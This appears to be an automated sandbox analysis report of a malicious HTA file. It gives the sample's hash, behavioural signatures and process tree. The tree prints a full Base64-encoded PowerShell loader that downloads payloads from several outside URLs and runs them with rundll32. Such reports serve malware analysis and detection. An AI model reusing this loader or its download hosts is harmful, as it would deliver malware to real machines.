Analysis
- max time kernel
100s - max time network
121s - platform
windows10-2004_x64 - resource
win10v2004-20230220-en - resource tags
- submitted
20/04/2023, 01:14
General
- Target Ojvpuwa.hta
- Size 348KB
- Sample230420-bl6cjaee73
- SHA256 4f598f13fd473b3e9364dce26b99495ae728eac9ca9e278bd76be41141757c03
Malware Config
Signatures
- Blocklisted process makes network request 8 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Ojvpuwa.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAcABzAHkAYwBoAG8AcABvAG0AcABvAHMATgB1AG4AbgBlAGQAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBnAHMAcwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4AbAB0AGQALgBjAG8AbQAvAG8AawBTAGYAagAvAHcAUAB3AGkAYQBKAEIALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwBxAEkAVgBEAFIATgB5AEwAaABwACwAaAB0AHQAcABzADoALwAvAGMAaQB0AHkAdABlAGMAaAAtAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwA2AE0AaAAxAGsALwBCAGUAUABUAFcARwBPAEEALABoAHQAdABwAHMAOgAvAC8AbQByAGMAcgBpAHoAcQB1AG4AYQAuAGMAbwBtAC8ATAA3AGMAYwBOAC8AUwBEAFQAQwA2AEwAVgAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBHAEwANgBiADkAdQAwAHEARAByAE8ALABoAHQAdABwAHMAOgAvAC8AZQByAGcALQBlAGcALgBjAG8AbQAvAG8AYwBtAGIALwBrAHIARQBpAGYAUQBCACwAaAB0AHQAcABzADoALwAvAGMAYQByAGwAYQBkAHYAbwBnAGEAZABhAHQAcgBpAGIAdQB0AGEAcgBpAGEALgBjAG8AbQAvAHQAdgBuAHEAOQAvAEsAUQBNAGUAaABYAHIAdABGADcANABjACwAaAB0AHQAcABzADoALwAvAGgAbwB0AGUAbABsAG8AcwBtAGkAcgB0AG8AcwAuAGMAbwBtAC8AcwBqAG4ALwBQAFoASQA1AFUANABVAHoAMwBvAHoAMAAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABpAG4AZgB1AG4AZQByAGEAbAAgAGkAbgAgACQAcABzAHkAYwBoAG8AcABvAG0AcABvAHMATgB1AG4AbgBlAGQAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGkAbgBmAHUAbgBlAHIAYQBsACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA2ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABMAG8AZwBvAGQAYQBlAGQAYQBsAHkALgBtAGUAYwBoAGkAcgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAEwAbwBnAG8AZABhAGUAZABhAGwAeQAuAG0AZQBjAGgAaQByACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEARgBRAEEAUgBRAEIATgBBAEYAQQBBAFgAQQBCAE0AQQBHADgAQQBaAHcAQgB2AEEARwBRAEEAWQBRAEIAbABBAEcAUQBBAFkAUQBCAHMAQQBIAGsAQQBMAGcAQgB0AEEARwBVAEEAWQB3AEIAbwBBAEcAawBBAGMAZwBBAHMAQQBFADAAQQBiAHcAQgAwAEEARwBRAEEATwB3AEEAPQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7AH0AfQA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
__PSScriptPolicyTest_5q4fqv2h.xvv.ps1
memory/2444-152-0x0000000004920000-0x0000000004930000-memory.dmp
memory/2444-154-0x00000000062F0000-0x000000000630A000-memory.dmp
memory/2444-139-0x0000000004DE0000-0x0000000004E02000-memory.dmp
memory/2444-140-0x0000000005700000-0x0000000005766000-memory.dmp
memory/2444-137-0x0000000004F60000-0x0000000005588000-memory.dmp
memory/2444-141-0x0000000005770000-0x00000000057D6000-memory.dmp
memory/2444-138-0x0000000004920000-0x0000000004930000-memory.dmp
memory/2444-151-0x0000000005D90000-0x0000000005DAE000-memory.dmp
memory/2444-153-0x00000000073D0000-0x0000000007A4A000-memory.dmp
memory/2444-133-0x0000000004800000-0x0000000004836000-memory.dmp
memory/2444-155-0x0000000004920000-0x0000000004930000-memory.dmp
memory/2444-156-0x0000000004920000-0x0000000004930000-memory.dmp
memory/2444-157-0x0000000007B30000-0x0000000007BC6000-memory.dmp
memory/2444-158-0x0000000007AC0000-0x0000000007AE2000-memory.dmp
memory/2444-159-0x0000000008180000-0x0000000008724000-memory.dmp
memory/2444-160-0x0000000004920000-0x0000000004930000-memory.dmp